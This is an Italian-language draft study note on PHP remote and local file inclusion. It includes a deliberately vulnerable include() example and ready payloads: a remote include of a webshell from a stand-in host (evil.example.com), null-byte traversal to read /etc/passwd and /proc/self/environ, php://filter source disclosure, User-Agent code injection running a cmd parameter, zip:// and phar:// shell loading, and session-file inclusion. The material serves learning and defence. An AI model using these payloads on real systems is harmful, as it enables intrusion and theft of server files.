Skip to content

Latest commit

 

History

History
141 lines (79 loc) · 3.74 KB

FileInclusionVulnerability.md

File metadata and controls

141 lines (79 loc) · 3.74 KB

TODO: da ricontrollare

File Inclusion Vulnerability

Remote File Inclusion (RFI)

Avviene qunado un'applicazione web scarica ed esegue un file remoto ottenuto da un form HTTP o un FTP mediante parametri inseriti dall'utente.

Local File Inclusion

Come sopra ma i file remoti sono già sul server

PHP

La causa in PHP è la non validazione dello user input gestiti mediante un include o un require.

Il linguaggio pHP ha delle direttive che se abilitate permettono al filesystem di usare URL per prelevare dati la remoto.

Queste direttive sono allow-url-fopen e allow-url-include che prima della dalla verisone 5.x eranno abilitate di default.

Exploit

Per fare l'exploit l'utente modifica la variabile passata a queste funzioni includendo codice malevolo.

Esempio di codice PHP

<?php
if (isset($_GET['language'])) {
    include($_GET['language'] . '.php');
}
?>
<form method="get">
   <select name="language">
      <option value="english">English</option>
      <option value="french">French</option>
      ...
   </select>
   <input type="submit">
</form>

Lo sviluppatore intende caricare la pagina english.php o french.php.

Questo può essere sfruttato per:

Remote file inclusion

/pagina.php?language=http://evil.example.com/webshell.txt? inietto un file remoto contenente codice malevolo

local file Inclusion

/pagina.php?language=C:\\ftp\\upload\\exploit eseguo codice già caricato sulla macchina remota in questo caso exploit.php

Indirect Local File Inclusion

index.php?file=php://filter/convert.base64-encode/resource=config aggiunge ".php" alla fine e permette di leggere i file php

accesso a file diversi da php NULL meta character

/pagina.php?language=C:\\notes.txt%00 - utilizzando NULL meta character %00 rimuovo il suffisso php accedendo a file diversi da quelli php.

directory traversal attack con NULL meta character

/pagina.php?language=../../../../../etc/passwd%00 sui sistemi linux permette di leggere il file /etc/passwd

/pagina.php?language=../../../../../proc/self/environ%00 sui sistemi linux permette di leggere il file proc/self/environ

Permette di eseguire del codice:

GET /index.php?file=/proc/self/environ&cmd=id HTTP/1.1
Host: www.site.com
User-Agent: <?php echo assert($_GET['cmd']);?>

caricamento di zip che vengono decompressi ed eseguiti

index.php?file=zip://image.zip#shell.php

index.php?file=phar://image.phar/shell.php

interazione con la session

il PHP5 salva i file in /var/lib/php5/sess_*

Cookie: PHPSESSID=123php # /var/lib/php5/sess_123php
index.php?file=/var/lib/php5/sess_123php

Da approfondire

  1. http://example.com/include/include2.php?file=zip://test.zip%23test https://lightless.me/archives/include-file-from-zip-or-phar.html

Sembrerebbe che facendo una compressione "only store" del file php in zip possa somigliare a un file .jpg

  1. https://www.php.net/manual/en/wrappers.compression.php
Example on how to read an entry from a ZIP archive (file "bar.txt" inside "./foo.zip"):

<?php

$fp = fopen('zip://./foo.zip#bar.txt', 'r');
if( $fp ){
    while( !feof($fp) ){
        echo fread($fp, 8192);
    }
    fclose($fp);
}

?>

Fonti